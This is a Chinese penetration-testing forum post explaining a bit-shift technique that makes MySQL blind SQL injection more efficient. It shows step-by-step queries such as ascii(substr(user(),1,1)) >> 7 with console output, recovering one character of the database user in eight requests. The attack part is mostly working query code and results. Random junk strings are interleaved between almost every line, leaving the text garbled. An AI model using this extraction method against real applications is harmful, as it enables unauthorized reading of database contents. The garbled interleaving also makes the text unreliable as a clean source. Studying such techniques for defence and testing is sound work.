中国网络渗透测试联盟
标题:
关于通过对8bit的ascii做右位移提高mysql盲注效率
[打印本页]
作者:
admin
时间:
2013-3-7 13:25
标题:
关于通过对8bit的ascii做右位移提高mysql盲注效率
通过这种方法我们只需要做8次select来确定一个键值的第一位或第n位
) L) j2 [2 Z! j7 U' y; }# Y
- q }# Y' e5 M4 s" {
' B/ R8 P4 ]9 I
1 \2 t, R6 ]/ k% |- R9 Z/ ?
下面将以查询mysql数据库当中user()的第一位为例:
& Q/ v7 }/ S' I( l2 m
- v2 H+ O6 r' i4 |7 R# V
; _! P9 I/ n/ C! i6 e" s; p+ R
/ k# ~) ~) u1 L, ~" r+ U
ps:第二位,第三位依次类推 select substr(user(),2,1) mysql> select substr(user(),3,1)
/ f; c# T9 H/ R7 ^8 j- B! F9 X5 ^
0 D1 a0 W! F, N: H
# Z; S9 v o$ V9 K ?( U. O
3 k" ]4 A6 j+ ?
首先执行如下sql语句:
R/ ~: f, h/ R
/ C# V& N+ t+ L# S; U, z* H
% R' T$ J# N; s. v6 m" m( J l ~9 `7 {
7 x! }" e* z! O1 c& ?# h5 M
mysql> select (ascii((substr(user(),1,1))) >> 7)=0;
9 S. m" _# | Z* j
9 \+ h3 a, I; Y3 l% n7 Z- S
$ L- u( j$ ]! B/ S' C
# Y# u \% H# O5 j7 ~
我们将对这个8bit的ascii也就是user()的第一位做7次右偏移,也就是偏移到8bit的ascii的
! ]1 H" ^) w# m; z; M0 G0 X- [2 Q
7 c6 _* R8 w- J2 m5 g, j
: B- Y7 M G8 Z7 @& n
4 ~3 K' V0 H# `. P/ w
第一位并与0做等运算,如果,运算结果为0 说明第一位不为0,也就为1
& b1 O0 ]+ B/ ?1 V0 A
$ E9 u; H- f. w) c: }
% k% {. K( N0 I C! o/ h q
7 O- A" Z/ o$ n- \& _7 F3 [
如果运算结果为1,说明第一位为0,不为1
5 m0 n; g! D; z' j% K0 K
3 j+ ]7 E% B* r' e" I0 d
7 |- G3 I5 r$ ~7 C) s; p, u0 ? C! w
; N' V; N3 j& p
+————————————–+
/ Q3 ]4 L4 ` g8 \/ s( d
; v3 s5 T/ R( I& n5 [% p
| (ascii((substr(user(),1,1))) >> 7)=0 |
0 L$ Z1 d! D, c- W2 @
5 }6 k2 {. ]$ b& i- x% O+ }* h+ W# ?
+————————————–+
! C9 f& [& \" p8 ?5 t8 l
, V( o) A. A& i$ s6 N) n
| 1 |
. }# ?1 P) U9 n) |
4 ~' T6 P3 S+ _
+————————————–+
% @' u, v; k( P1 R; s
( G. W1 b7 H# N4 m# N* D
1 row in set (0.00 sec)
5 h3 X8 ], V6 O/ s, u# N1 h
; z' F7 g2 b7 Y. p. r, a- ]) J, @
这样我们就确定这个8bit的ascii的第一位为0
" [# y1 p$ b: t' e4 z* p
7 i6 x4 |6 _( b
3 [3 C: v1 q8 I9 b$ k: F3 B# K
9 a' O( m8 n7 F0 o* O6 n1 ~
第二次我们来做6次右偏移来确定前两位
$ _3 m$ o9 R' c) A* ?4 C2 L: _
4 s- `) i7 M% [: `5 W9 `1 c
) X4 Y! l h, h; F
5 x0 Q; K! y. K. ^5 \; a/ U- C
前两位可能是01或00,即依然可以与0做比较,
. D" `6 T$ ~; d# l, O: y
3 x7 {6 D4 Z, i* [! n2 H6 I; m
mysql> select (ascii((substr(user(),1,1))) >> 6)=0;
. U |/ g: Z( m; `/ b0 a2 L
8 t" m5 b% @ t: @& X- D6 ?
+————————————–+
! ^/ {( G _7 t
6 w0 ^$ m7 I. N7 o
| (ascii((substr(user(),1,1))) >> 6)=0 |
; L2 A8 F% e! T; X* m9 h+ S
; y7 z7 R* g# s" Y: r7 c3 |
+————————————–+
' d* M8 }3 D$ I# Y9 y u1 X' L
/ j' W E7 w# P, n6 `0 |1 v( J' N
| 0 |
9 C$ ]4 T4 ]( M3 o. Y
7 S4 t1 Z& l+ n$ F% Y
+————————————–+
- |5 R3 U- m2 {" M
Z3 z |3 B7 d1 a' W L; O
1 row in set (0.00 sec)
! ] v) T1 m9 Y h' Z3 ]) M, o& F0 F( p
r8 {/ y. F8 V$ }
* x% j# H8 Y8 a+ D P
" T* {. Q( ~$ L
结果为0,即第二位为1
9 o' c2 L9 h' {; V
9 ?: W& S) s J5 L, q3 q
! l0 N1 i+ S# V9 H
+ s1 n9 O' V5 v* x d
开始猜测前三位为010或011
8 x9 Q9 ~+ G, E- H( a7 f( D9 E
/ A( D3 F3 b* M2 O: _) E
/ d8 t+ h5 T# Z: b
6 f0 w J4 g8 ~
让我们看看010和011的ascii码是多少
& y2 o w/ V4 \( ^. d, l1 i% C: x
5 T! j; f0 r. l" u. `7 _2 V
3 ^* j& _4 q3 D) f3 q' n9 q
l1 U4 v2 ?+ \
分别查询select b’011′ select b’010′
2 X5 n2 h2 U; s m
2 l% f% ]/ N% b, \! z
) F* Z' w. N% ?: z
& d4 B% b' o" o' I% d# J
获得结果 010 = 2 011 = 3
1 h k2 r( b7 t' ?9 A" u
- L; T9 e; B" y* v* v
( Z( P& H: |2 H) {+ M
" f/ X- k" F9 }9 U! ?3 P% _! g
执行如下sql:
/ ] ?. p2 }. [0 Y" L1 Y6 C# O
4 _0 q9 ~$ l- \" h) N2 i
2 ], B4 S# Z) h/ D
! q0 e5 k Y; }6 ]3 K n0 [& T
mysql> select (ascii((substr(user(),1,1))) >> 5)=2;
) K% Y4 m, [8 o" F
; |# B) h5 h/ u/ R& ?; j2 M
+————————————–+
* Z$ q/ y' M4 E& x6 y
4 _: W5 f. {, Q3 L% Q2 B! k
| (ascii((substr(user(),1,1))) >> 5)=2 |
2 v& I f8 w" w
2 b' \# \7 }$ s; \
+————————————–+
& a t0 z7 d; a/ B, |; I& l8 a$ u, }
4 n# O* F6 u e' i; H: _
| 0 |
4 M, @8 q! u8 T- @
# V& _ u9 J) F& i& S+ k
+————————————–+
+ J) |" A j7 h3 m8 m
$ ^3 v, k8 ~& ]+ y# M$ S$ k
即前三位不为010,而是011
7 C, L: Y8 K7 k, J* o
6 D$ V+ U H! o5 w6 |
3 \( G- ]! e/ |7 y3 T3 U" ^
" s7 W# J' j% }! A
直到获得最后一位
8 O) ~1 R1 s# s. C! d
0 a. ?7 G+ O( |9 g
0 n0 h% q2 y+ H' d
3 f7 K# ]5 G$ {% T- @
最终结果为:01110010
4 b! R, M: H0 @7 y9 C
5 |; {7 @4 C* M1 m, p
1 f0 y, I' _0 \; ~9 b) I+ B/ I
" q6 q, f$ a# x( [
转换一下:
) X6 L% T% E j/ {7 z& A
$ ]( S9 J2 N& D$ S
: j( Y2 ~4 q% i3 e5 E$ U8 ^
! u& |1 d- [, N
select b’01110010′
; y/ `. T0 t% X+ b+ b: X
( E3 C$ k- d) Z" o9 S/ k5 ?0 [
d# r! n- y* j
# C6 e6 E) }: p2 ^
查询结果
- {: n3 m/ m/ }6 [; t, v
" c) x/ Z* ?# G1 d
9 U+ y2 l- z8 A0 N- G, [: l* e
0 n+ g8 s5 J( ~: u D! \- v
+————-+
6 c8 ~5 A! o+ a3 k: R/ p
; H! g' v! Z2 p
| b’01110010′ |
/ }: _) G6 A" l
( _. L* ^6 ]% ~8 M
+————-+
7 X1 `& i) Q- W) I& ^! r- z
" }* ]" X/ ^7 w) r% n
| r |
' s! H: D1 X0 `) `- _ w
6 V0 C4 B( Z6 q: R* p
+————-+
$ Y0 t& z" ~. P2 v$ z. A2 b
+ B1 @2 N) u% l+ g8 T0 | z
1 row in set (0.00 sec)
3 v2 X/ b1 O3 E% w& c7 I" \ }
@% }* M( @/ W0 U3 H
+ l* [+ q2 W9 U, X) }
9 ]! p/ _; \/ V2 N* J
这样我们就获得了user()的第一位.其它位依此类推
/ t" Z& c: H8 r# P1 g
* G- w6 Z O! G; J1 D# K
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2